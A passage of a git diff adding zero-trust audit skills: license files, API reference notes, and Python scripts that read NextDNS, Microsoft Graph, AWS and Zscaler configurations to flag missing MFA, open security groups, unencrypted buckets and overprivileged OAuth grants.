entries: {len(entries)}") + for e in entries[:20]: + print(f" {e.get('id', 'unknown')}: active={e.get('active', True)}") + return entries + + +def generate_report(profile, findings, logs, analytics, output_path): + """Generate NextDNS audit report.""" + report = { + "audit_date": datetime.now(timezone.utc).isoformat(), + "profile": profile.get("name", "unknown"), + "security_findings": findings, + "blocked_queries_sample": [l for l in logs if l.get("status") == "blocked"][:20], + "analytics_summary": analytics, + } + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] Report saved to {output_path}") + + +def main(): + parser = argparse.ArgumentParser(description="NextDNS Zero Trust DNS Audit Agent") + parser.add_argument("action", choices=["audit", "logs", "analytics", "denylist", "full-audit"]) + parser.add_argument("--api-key", required=True, help="NextDNS API key") + parser.add_argument("--profile", required=True, help="NextDNS profile ID") + parser.add_argument("-o", "--output", default="nextdns_audit.json") + args = parser.parse_args() + + if args.action == "audit": + get_profile(args.api_key, args.profile) + audit_security_settings(args.api_key, args.profile) + elif args.action == "logs": + get_query_logs(args.api_key, args.profile) + elif args.action == "analytics": + get_analytics(args.api_key, args.profile) + elif args.action == "denylist": + check_denylist(args.api_key, args.profile) + elif args.action == "full-audit": + prof = get_profile(args.api_key, args.profile) + findings = audit_security_settings(args.api_key, args.profile) + logs = get_query_logs(args.api_key, args.profile) + analytics = get_analytics(args.api_key, args.profile) + generate_report(prof, findings, logs, analytics, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-zero-trust-for-saas-applications/LICENSE b/skills/implementing-zero-trust-for-saas-applications/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-zero-trust-for-saas-applications/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-zero-trust-for-saas-applications/references/api-reference.md b/skills/implementing-zero-trust-for-saas-applications/references/api-reference.md new file mode 100644 index 00000000..7e64ffb8 --- /dev/null +++ b/skills/implementing-zero-trust-for-saas-applications/references/api-reference.md @@ -0,0 +1,47 @@ +# API Reference: Zero Trust for SaaS Applications + +## Microsoft Graph API v1.0 + +### Authentication +```python +POST https://login.microsoftonline.com/{tenant}/oauth2/v2.0/token +Body: grant_type=client_credentials&client_id=X&client_secret=Y&scope=https://graph.microsoft.com/.default +``` + +### Conditional Access +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/identity/conditionalAccess/policies` | List CA policies | +| GET | `/identity/conditionalAccess/policies/{id}` | Get policy details | + +### Enterprise Applications +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/servicePrincipals` | List service principals | +| GET | `/oauth2PermissionGrants` | List OAuth consent grants | +| GET | `/appRoleAssignments` | List app role assignments | + +### Identity Protection +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/identityProtection/riskyUsers` | List at-risk users | +| GET | `/identityProtection/riskDetections` | Risk detection events | + +### CA Policy Grant Controls +| Control | Description | +|---------|-------------| +| `mfa` | Require multi-factor authentication | +| `compliantDevice` | Require Intune-compliant device | +| `domainJoinedDevice` | Require hybrid Azure AD join | +| `passwordChange` | Force password change | + +### Risky OAuth Scopes +| Scope | Risk | +|-------|------| +| `Mail.ReadWrite` | Full mailbox access | +| `Files.ReadWrite.All` | All OneDrive/SharePoint files | +| `Directory.ReadWrite.All` | Full directory modification | + +## References +- Graph API: https://learn.microsoft.com/en-us/graph/api/overview +- Conditional Access: https://learn.microsoft.com/en-us/entra/identity/conditional-access/ diff --git a/skills/implementing-zero-trust-for-saas-applications/scripts/agent.py b/skills/implementing-zero-trust-for-saas-applications/scripts/agent.py new file mode 100644 index 00000000..6ab5f1eb --- /dev/null +++ b/skills/implementing-zero-trust-for-saas-applications/scripts/agent.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python3 +"""Agent for auditing zero trust controls on SaaS applications via Microsoft Graph API.""" + +import requests +import json +import argparse +from datetime import datetime, timezone + +GRAPH_API = "https://graph.microsoft.com/v1.0" + + +def get_token(tenant_id, client_id, client_secret): + """Acquire OAuth2 token for Microsoft Graph API.""" + url = f"https://login.microsoftonline.com/{tenant_id}/oauth2/v2.0/token" + data = {"grant_type": "client_credentials", "client_id": client_id, + "client_secret": client_secret, "scope": "https://graph.microsoft.com/.default"} + resp = requests.post(url, data=data, timeout=30) + resp.raise_for_status() + token = resp.json()["access_token"] + print("[*] Authenticated to Microsoft Graph API") + return {"Authorization": f"Bearer {token}"} + + +def list_conditional_access_policies(headers): + """List Entra ID conditional access policies for SaaS apps.""" + url = f"{GRAPH_API}/identity/conditionalAccess/policies" + resp = requests.get(url, headers=headers, timeout=30) + resp.raise_for_status() + policies = resp.json().get("value", []) + findings = [] + print(f"\n[*] Conditional Access Policies: {len(policies)}") + for p in policies: + state = p.get("state", "disabled") + conditions = p.get("conditions", {}) + grant_controls = p.get("grantControls", {}) + mfa_required = "mfa" in str(grant_controls.get("builtInControls", [])).lower() + print(f" [{'+' if state == 'enabled' else '-'}] {p['displayName']} " + f"(state={state}, MFA={'Yes' if mfa_required else 'No'})") + if state == "enabled" and not mfa_required: + findings.append({"policy": p["displayName"], "issue": "No MFA required", + "severity": "HIGH"}) + return policies, findings + + +def list_enterprise_apps(headers): + """List enterprise applications (service principals) for shadow IT discovery.""" + url = f"{GRAPH_API}/servicePrincipals" + params = {"$top": 100, "$select": "displayName,appId,accountEnabled,signInAudience"} + resp = requests.get(url, headers=headers, params=params, timeout=30) + resp.raise_for_status() + apps = resp.json().get("value", []) + print(f"\n[*] Enterprise Applications: {len(apps)}") + third_party = [a for a in apps if a.get("signInAudience") != "AzureADMyOrg"] + print(f" Third-party apps: {len(third_party)}") + for a in third_party[:10]: + print(f" {a['displayName']} (enabled={a.get('accountEnabled', '?')})") + return apps + + +def check_oauth_app_consents(headers): + """Audit OAuth2 permission grants for overprivileged consents.""" + url = f"{GRAPH_API}/oauth2PermissionGrants" + resp = requests.get(url, headers=headers, timeout=30) + resp.raise_for_status() + grants = resp.json().get("value", []) + findings = [] + for g in grants: + scope = g.get("scope", "") + if any(perm in scope for perm in ["Mail.ReadWrite", "Files.ReadWrite.All", + "Directory.ReadWrite.All", "User.ReadWrite.All"]): + findings.append({ + "clientId": g.get("clientId"), "scope": scope, + "consentType": g.get("consentType"), "severity": "HIGH", + }) + print(f"\n[*] OAuth grants: {len(grants)} total, {len(findings)} overprivileged") + for f in findings[:5]: + print(f" [!] {f['clientId']}: {f['scope'][:80]}") + return findings + + +def check_sign_in_risk(headers, days=7): + """Check risky sign-ins to SaaS applications.""" + url = f"{GRAPH_API}/identityProtection/riskyUsers" + params = {"$filter": "riskState eq 'atRisk'", "$top": 50} + resp = requests.get(url, headers=headers, params=params, timeout=30) + if resp.status_code == 200: + users = resp.json().get("value", []) + print(f"\n[*] Risky users: {len(users)}") + for u in users[:10]: + print(f" [!] {u.get('userDisplayName', 'N/A')} - risk: {u.get('riskLevel')}") + return users + return [] + + +def generate_report(policies, ca_findings, oauth_findings, risky_users, output_path): + """Generate SaaS zero trust audit report.""" + report = { + "audit_date": datetime.now(timezone.utc).isoformat(), + "summary": { + "conditional_access_policies": len(policies), + "ca_findings": len(ca_findings), + "overprivileged_oauth": len(oauth_findings), + "risky_users": len(risky_users), + }, + "ca_findings": ca_findings, + "oauth_findings": oauth_findings[:20], + "risky_users": risky_users[:20], + } + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] Report saved to {output_path}") + + +def main(): + parser = argparse.ArgumentParser(description="SaaS Zero Trust Audit Agent") + parser.add_argument("action", choices=["ca-policies", "apps", "oauth", "risk", "full-audit"]) + parser.add_argument("--tenant-id", required=True) + parser.add_argument("--client-id", required=True) + parser.add_argument("--client-secret", required=True) + parser.add_argument("-o", "--output", default="saas_zt_audit.json") + args = parser.parse_args() + + headers = get_token(args.tenant_id, args.client_id, args.client_secret) + if args.action == "ca-policies": + list_conditional_access_policies(headers) + elif args.action == "apps": + list_enterprise_apps(headers) + elif args.action == "oauth": + check_oauth_app_consents(headers) + elif args.action == "risk": + check_sign_in_risk(headers) + elif args.action == "full-audit": + policies, ca_f = list_conditional_access_policies(headers) + list_enterprise_apps(headers) + oauth_f = check_oauth_app_consents(headers) + risky = check_sign_in_risk(headers) + generate_report(policies, ca_f, oauth_f, risky, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-zero-trust-in-cloud/LICENSE b/skills/implementing-zero-trust-in-cloud/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-zero-trust-in-cloud/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-zero-trust-in-cloud/references/api-reference.md b/skills/implementing-zero-trust-in-cloud/references/api-reference.md new file mode 100644 index 00000000..5b65aa41 --- /dev/null +++ b/skills/implementing-zero-trust-in-cloud/references/api-reference.md @@ -0,0 +1,72 @@ +# API Reference: Implementing Zero Trust in Cloud + +## Libraries + +### boto3 (AWS Zero Trust Checks) +- **Install**: `pip install boto3` +- IAM: `list_users()`, `list_mfa_devices()`, `get_account_summary()` +- EC2: `describe_instances()`, `describe_security_groups()` +- S3: `get_bucket_encryption()`, `get_public_access_block()` +- CloudTrail: `describe_trails()`, `get_trail_status()` + +### azure-identity + azure-mgmt-authorization +- **Install**: `pip install azure-identity azure-mgmt-authorization` +- `AuthorizationManagementClient` -- RBAC role assignments +- `DefaultAzureCredential()` -- Auto-detect auth + +### google-cloud-compute +- **Install**: `pip install google-cloud-compute` +- `FirewallsClient` -- VPC firewall rules audit +- `InstancesClient` -- VM network configuration + +## Zero Trust Pillars (NIST SP 800-207) + +| Pillar | Key Checks | +|--------|-----------| +| Identity | MFA enforcement, least privilege, conditional access | +| Device | Compliance policies, MDM, certificate identity | +| Network | Micro-segmentation, private endpoints, no public IPs | +| Application | OAuth2/OIDC, API gateway auth, no VPN dependency | +| Data | Encryption at rest/transit, DLP, classification | +| Visibility | Centralized logging, SIEM, UEBA, real-time alerts | + +## AWS Zero Trust Services + +| Service | Zero Trust Function | +|---------|-------------------| +| IAM Identity Center | Centralized identity and SSO | +| VPC PrivateLink | Private service connectivity | +| Verified Access | Identity-based application access | +| Security Hub | Continuous posture assessment | +| GuardDuty | Threat detection and monitoring | +| CloudTrail | API activity audit logging | + +## Azure Zero Trust Services + +| Service | Zero Trust Function | +|---------|-------------------| +| Entra ID Conditional Access | Policy-based access decisions | +| Azure Private Link | Private endpoint connectivity | +| Microsoft Defender for Cloud | CSPM and CWP | +| Azure Sentinel | SIEM and SOAR | + +## GCP Zero Trust Services + +| Service | Zero Trust Function | +|---------|-------------------| +| BeyondCorp Enterprise | Identity-Aware Proxy | +| VPC Service Controls | API-level perimeter | +| Binary Authorization | Container image trust | +| Security Command Center | Cloud posture management | + +## Maturity Levels +- **Traditional**: Perimeter-based, VPN-dependent, implicit trust +- **Initial**: Some identity verification, partial segmentation +- **Advanced**: Continuous verification, micro-segmentation, encrypted everywhere + +## External References +- NIST SP 800-207: https://csrc.nist.gov/pubs/sp/800/207/final +- Google BeyondCorp: https://cloud.google.com/beyondcorp +- AWS Verified Access: https://docs.aws.amazon.com/verified-access/ +- Azure Zero Trust: https://learn.microsoft.com/en-us/security/zero-trust/ +- CISA Zero Trust Maturity Model: https://www.cisa.gov/zero-trust-maturity-model diff --git a/skills/implementing-zero-trust-in-cloud/scripts/agent.py b/skills/implementing-zero-trust-in-cloud/scripts/agent.py new file mode 100644 index 00000000..919b3cdc --- /dev/null +++ b/skills/implementing-zero-trust-in-cloud/scripts/agent.py @@ -0,0 +1,231 @@ +#!/usr/bin/env python3 +"""Zero trust cloud architecture assessment agent using AWS, Azure, and GCP SDKs.""" + +import json +import sys +import argparse +from datetime import datetime + +try: + import boto3 + from botocore.exceptions import ClientError +except ImportError: + boto3 = None + +try: + from azure.identity import DefaultAzureCredential + from azure.mgmt.authorization import AuthorizationManagementClient + HAS_AZURE = True +except ImportError: + HAS_AZURE = False + +try: + from google.cloud import compute_v1 + HAS_GCP = True +except ImportError: + HAS_GCP = False + + +ZERO_TRUST_PILLARS = [ + {"pillar": "Identity", "description": "Verify every identity with strong auth", + "checks": ["MFA enforcement", "Conditional access policies", "Least privilege RBAC", + "Service account key rotation", "Passwordless authentication"]}, + {"pillar": "Device", "description": "Validate device posture before granting access", + "checks": ["Device compliance policies", "MDM enrollment required", + "Certificate-based device identity", "OS patch level enforcement"]}, + {"pillar": "Network", "description": "Micro-segment and encrypt all communications", + "checks": ["VPC/VNet segmentation", "Private endpoints for services", + "No public IPs on internal workloads", "TLS everywhere", + "Identity-Aware Proxy deployment"]}, + {"pillar": "Application", "description": "Secure app access without network trust", + "checks": ["OAuth2/OIDC authentication", "API gateway with auth", + "No VPN-dependent access", "Runtime application self-protection"]}, + {"pillar": "Data", "description": "Classify and protect data at all states", + "checks": ["Encryption at rest", "Encryption in transit", + "Data classification labels", "DLP policies active"]}, + {"pillar": "Visibility", "description": "Continuous monitoring and analytics", + "checks": ["Centralized logging", "SIEM integration", + "User behavior analytics", "Real-time alerting"]}, +] + + +def assess_aws_zero_trust(region="us-east-1"): + """Assess AWS zero trust posture.""" + if boto3 is None: + return {"error": "boto3 not installed"} + findings = [] + + iam = boto3.client("iam", region_name=region) + try: + summary = iam.get_account_summary()["SummaryMap"] + if summary.get("AccountMFAEnabled", 0) == 0: + findings.append({"pillar": "Identity", "check": "Root MFA", + "status": "FAIL", "severity": "CRITICAL", + "detail": "Root account MFA not enabled"}) + else: + findings.append({"pillar": "Identity", "check": "Root MFA", + "status": "PASS", "detail": "Root MFA enabled"}) + users = iam.list_users()["Users"] + for user in users[:20]: + mfa = iam.list_mfa_devices(UserName=user["UserName"])["MFADevices"] + if not mfa: + findings.append({"pillar": "Identity", "check": "User MFA", + "status": "FAIL", "severity": "HIGH", + "detail": f"User {user['UserName']} has no MFA"}) + except ClientError as e: + findings.append({"pillar": "Identity", "check": "IAM", "status": "ERROR", "detail": str(e)}) + + ec2 = boto3.client("ec2", region_name=region) + try: + instances = ec2.describe_instances() + for reservation in instances.get("Reservations", []): + for inst in reservation.get("Instances", []): + if inst.get("PublicIpAddress"): + findings.append({"pillar": "Network", "check": "Public IP", + "status": "FAIL", "severity": "MEDIUM", + "detail": f"Instance {inst['InstanceId']} has public IP " + f"{inst['PublicIpAddress']}"}) + except ClientError as e: + findings.append({"pillar": "Network", "status": "ERROR", "detail": str(e)}) + + try: + sgs = ec2.describe_security_groups()["SecurityGroups"] + for sg in sgs: + for rule in sg.get("IpPermissions", []): + for ip in rule.get("IpRanges", []): + if ip.get("CidrIp") == "0.0.0.0/0": + port = rule.get("FromPort", "all") + findings.append({"pillar": "Network", "check": "Security Group", + "status": "FAIL", "severity": "HIGH", + "detail": f"SG {sg['GroupId']} port {port} open to 0.0.0.0/0"}) + except ClientError as e: + findings.append({"pillar": "Network", "status": "ERROR", "detail": str(e)}) + + s3 = boto3.client("s3", region_name=region) + try: + buckets = s3.list_buckets().get("Buckets", []) + for bucket in buckets[:20]: + try: + enc = s3.get_bucket_encryption(Bucket=bucket["Name"]) + findings.append({"pillar": "Data", "check": "S3 Encryption", + "status": "PASS", "detail": f"{bucket['Name']} encrypted"}) + except ClientError: + findings.append({"pillar": "Data", "check": "S3 Encryption", + "status": "FAIL", "severity": "HIGH", + "detail": f"Bucket {bucket['Name']} has no default encryption"}) + except ClientError as e: + findings.append({"pillar": "Data", "status": "ERROR", "detail": str(e)}) + + ct = boto3.client("cloudtrail", region_name=region) + try: + trails = ct.describe_trails()["trailList"] + if trails: + findings.append({"pillar": "Visibility", "check": "CloudTrail", + "status": "PASS", "detail": f"{len(trails)} trail(s) configured"}) + else: + findings.append({"pillar": "Visibility", "check": "CloudTrail", + "status": "FAIL", "severity": "CRITICAL", + "detail": "No CloudTrail trails configured"}) + except ClientError as e: + findings.append({"pillar": "Visibility", "status": "ERROR", "detail": str(e)}) + + return findings + + +def generate_zero_trust_scorecard(findings): + """Generate a zero trust maturity scorecard from findings.""" + pillar_scores = {} + for f in findings: + pillar = f.get("pillar", "Unknown") + if pillar not in pillar_scores: + pillar_scores[pillar] = {"pass": 0, "fail": 0, "error": 0} + status = f.get("status", "ERROR") + if status == "PASS": + pillar_scores[pillar]["pass"] += 1 + elif status == "FAIL": + pillar_scores[pillar]["fail"] += 1 + else: + pillar_scores[pillar]["error"] += 1 + + scorecard = {} + for pillar, counts in pillar_scores.items(): + total = counts["pass"] + counts["fail"] + score = round(counts["pass"] / max(total, 1) * 100, 1) + maturity = "Advanced" if score >= 80 else "Initial" if score >= 50 else "Traditional" + scorecard[pillar] = {"score": score, "maturity": maturity, + "passed": counts["pass"], "failed": counts["fail"]} + return scorecard + + +def run_zero_trust_assessment(region="us-east-1"): + """Run comprehensive zero trust assessment.""" + print(f"\n{'='*60}") + print(f" ZERO TRUST CLOUD ARCHITECTURE ASSESSMENT") + print(f" Generated: {datetime.utcnow().strftime('%Y-%m-%d %H:%M:%S')} UTC") + print(f"{'='*60}\n") + + print(f"--- ZERO TRUST PILLARS ---") + for p in ZERO_TRUST_PILLARS: + print(f" {p['pillar']}: {p['description']}") + for c in p["checks"]: + print(f" - {c}") + + print(f"\n--- AWS ASSESSMENT (region: {region}) ---") + findings = assess_aws_zero_trust(region) + + pass_count = sum(1 for f in findings if f.get("status") == "PASS") + fail_count = sum(1 for f in findings if f.get("status") == "FAIL") + print(f" Total checks: {len(findings)}") + print(f" Passed: {pass_count} | Failed: {fail_count}") + + critical = [f for f in findings if f.get("severity") == "CRITICAL"] + high = [f for f in findings if f.get("severity") == "HIGH"] + if critical: + print(f"\n CRITICAL FINDINGS ({len(critical)}):") + for f in critical: + print(f" [{f['pillar']}] {f.get('check', 'N/A')}: {f['detail']}") + if high: + print(f"\n HIGH FINDINGS ({len(high)}):") + for f in high[:10]: + print(f" [{f['pillar']}] {f.get('check', 'N/A')}: {f['detail']}") + + scorecard = generate_zero_trust_scorecard(findings) + print(f"\n--- ZERO TRUST SCORECARD ---") + for pillar, scores in scorecard.items(): + bar = "#" * int(scores["score"] / 5) + print(f" {pillar:<15} {scores['score']:>5.1f}% [{scores['maturity']}] {bar}") + + overall = round(sum(s["score"] for s in scorecard.values()) / max(len(scorecard), 1), 1) + print(f"\n OVERALL ZERO TRUST MATURITY: {overall}%") + maturity = "Advanced" if overall >= 80 else "Initial" if overall >= 50 else "Traditional" + print(f" Maturity Level: {maturity}") + + print(f"\n{'='*60}\n") + return {"findings": findings, "scorecard": scorecard, "overall_score": overall} + + +def main(): + parser = argparse.ArgumentParser(description="Zero Trust Cloud Architecture Agent") + parser.add_argument("--region", default="us-east-1", help="AWS region") + parser.add_argument("--assess", action="store_true", help="Run zero trust assessment") + parser.add_argument("--pillars", action="store_true", help="Show zero trust pillars") + parser.add_argument("--output", help="Save report to JSON") + args = parser.parse_args() + + if args.pillars: + for p in ZERO_TRUST_PILLARS: + print(f"\n{p['pillar']}: {p['description']}") + for c in p["checks"]: + print(f" - {c}") + elif args.assess: + report = run_zero_trust_assessment(args.region) + if args.output: + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + else: + parser.print_help() + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-zero-trust-network-access-with-zscaler/LICENSE b/skills/implementing-zero-trust-network-access-with-zscaler/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-zero-trust-network-access-with-zscaler/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/skills/implementing-zero-trust-network-access-with-zscaler/references/api-reference.md b/skills/implementing-zero-trust-network-access-with-zscaler/references/api-reference.md new file mode 100644 index 00000000..a6402894 --- /dev/null +++ b/skills/implementing-zero-trust-network-access-with-zscaler/references/api-reference.md @@ -0,0 +1,51 @@ +# API Reference: Zscaler Private Access (ZPA) + +## ZPA Management API + +### Authentication +``` +POST https://config.private.zscaler.com/signin +Body: client_id=X&client_secret=Y +Returns: {"access_token": "...", "token_type": "Bearer"} +``` + +### Application Segments +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/mgmtconfig/v1/admin/customers/{id}/application` | List app segments | +| POST | `/mgmtconfig/v1/admin/customers/{id}/application` | Create app segment | + +### Server Groups +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/mgmtconfig/v1/admin/customers/{id}/serverGroup` | List server groups | + +### Access Policies +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/mgmtconfig/v1/admin/customers/{id}/policySet/rules` | List policy rules | + +### Connectors +| Method | Endpoint | Description | +|--------|----------|-------------| +| GET | `/mgmtconfig/v1/admin/customers/{id}/connector` | List connectors | + +### App Segment Fields +| Field | Description | +|-------|-------------| +| `name` | Application segment name | +| `enabled` | Whether segment is active | +| `bypassType` | `NEVER`, `ALWAYS`, or `ON_NET` | +| `domainNames` | FQDN list for the segment | +| `tcpPortRanges` | Allowed TCP port ranges | + +### Bypass Types +| Value | Security Implication | +|-------|---------------------| +| `NEVER` | Always enforce ZPA (recommended) | +| `ALWAYS` | Bypass ZPA entirely (high risk) | +| `ON_NET` | Bypass when on corporate network | + +## References +- ZPA API: https://help.zscaler.com/zpa/about-zpa-api +- ZPA Admin Guide: https://help.zscaler.com/zpa diff --git a/skills/implementing-zero-trust-network-access-with-zscaler/scripts/agent.py b/skills/implementing-zero-trust-network-access-with-zscaler/scripts/agent.py new file mode 100644 index 00000000..f7536edd --- /dev/null +++ b/skills/implementing-zero-trust-network-access-with-zscaler/scripts/agent.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python3 +"""Agent for auditing Zscaler Private Access (ZPA) zero trust configuration via API.""" + +import requests +import json +import argparse +from datetime import datetime, timezone + +ZPA_BASE = "https://config.private.zscaler.com" + + +def authenticate(client_id, client_secret, customer_id): + """Authenticate to Zscaler ZPA API.""" + url = f"{ZPA_BASE}/signin" + payload = {"client_id": client_id, "client_secret": client_secret} + headers = {"Content-Type": "application/x-www-form-urlencoded"} + resp = requests.post(url, data=payload, headers=headers, timeout=30) + resp.raise_for_status() + token = resp.json()["access_token"] + print("[*] Authenticated to ZPA API") + return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} + + +def list_app_segments(headers, customer_id): + """List ZPA application segments.""" + url = f"{ZPA_BASE}/mgmtconfig/v1/admin/customers/{customer_id}/application" + resp = requests.get(url, headers=headers, timeout=30) + resp.raise_for_status() + apps = resp.json().get("list", []) + print(f"\n[*] Application Segments: {len(apps)}") + findings = [] + for app in apps: + bypass = app.get("bypassType", "NEVER") + if bypass != "NEVER": + findings.append({"name": app["name"], "bypass": bypass, "severity": "HIGH"}) + print(f" {app['name']} - bypass={bypass}, enabled={app.get('enabled', False)}") + return apps, findings + + +def list_server_groups(headers, customer_id): + """List server groups and their connectors.""" + url = f"{ZPA_BASE}/mgmtconfig/v1/admin/customers/{customer_id}/serverGroup" + resp = requests.get(url, headers=headers, timeout=30) + resp.raise_for_status() + groups = resp.json().get("list", []) + print(f"\n[*] Server Groups: {len(groups)}") + for g in groups: + connectors = g.get("connectors", []) + print(f" {g['name']} - {len(connectors)} connectors, enabled={g.get('enabled')}") + return groups + + +def list_access_policies(headers, customer_id): + """List ZPA access policies to verify least-privilege enforcement.""" + url = f"{ZPA_BASE}/mgmtconfig/v1/admin/customers/{customer_id}/policySet/rules" + resp = requests.get(url, headers=headers, timeout=30) + resp.raise_for_status() + rules = resp.json().get("list", []) + findings = [] + print(f"\n[*] Access Policy Rules: {len(rules)}") + for r in rules: + action = r.get("action", "") + conditions = r.get("conditions", []) + if action == "ALLOW" and not conditions: + findings.append({"rule": r.get("name"), "issue": "ALLOW with no conditions", + "severity": "CRITICAL"}) + print(f" [!] {r.get('name')}: ALLOW without conditions") + else: + print(f" {r.get('name')}: action={action}, conditions={len(conditions)}") + return rules, findings + + +def check_connector_health(headers, customer_id): + """Check connector enrollment and health status.""" + url = f"{ZPA_BASE}/mgmtconfig/v1/admin/customers/{customer_id}/connector" + resp = requests.get(url, headers=headers, timeout=30) + resp.raise_for_status() + connectors = resp.json().get("list", []) + issues = [] + for c in connectors: + status = c.get("currentVersion", "unknown") + enabled = c.get("enabled", False) + if not enabled: + issues.append({"connector": c.get("name"), "issue": "disabled", "severity": "MEDIUM"}) + print(f" {c.get('name')}: enabled={enabled}, version={status}") + print(f"[*] Connectors: {len(connectors)} total, {len(issues)} disabled") + return connectors, issues + + +def generate_report(apps, app_findings, policy_findings, connector_issues, output_path): + """Generate ZPA audit report.""" + report = { + "audit_date": datetime.now(timezone.utc).isoformat(), + "summary": {"app_segments": len(apps), "bypass_findings": len(app_findings), + "policy_findings": len(policy_findings), + "connector_issues": len(connector_issues)}, + "bypass_findings": app_findings, "policy_findings": policy_findings, + "connector_issues": connector_issues, + } + with open(output_path, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"\n[*] Report saved to {output_path}") + + +def main(): + parser = argparse.ArgumentParser(description="Zscaler ZPA Zero Trust Audit Agent") + parser.add_argument("action", choices=["apps", "servers", "policies", "connectors", "full-audit"]) + parser.add_argument("--client-id", required=True) + parser.add_argument("--client-secret", required=True) + parser.add_argument("--customer-id", required=True) + parser.add_argument("-o", "--output", default="zpa_audit.json") + args = parser.parse_args() + + headers = authenticate(args.client_id, args.client_secret, args.customer_id) + if args.action == "apps": + list_app_segments(headers, args.customer_id) + elif args.action == "servers": + list_server_groups(headers, args.customer_id) + elif args.action == "policies": + list_access_policies(headers, args.customer_id) + elif args.action == "connectors": + check_connector_health(headers, args.customer_id) + elif args.action == "full-audit": + apps, af = list_app_segments(headers, args.customer_id) + list_server_groups(headers, args.customer_id) + _, pf = list_access_policies(headers, args.customer_id) + _, ci = check_connector_health(headers, args.customer_id) + generate_report(apps, af, pf, ci, args.output) + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-zero-trust-network-access/LICENSE b/skills/implementing-zero-trust-network-access/LICENSE new file mode 100644 index 00000000..27f5a0fe --- /dev/null +++ b/skills/implementing-zero-trust-network-access/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2025 Anthropic Agent Skills Contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO 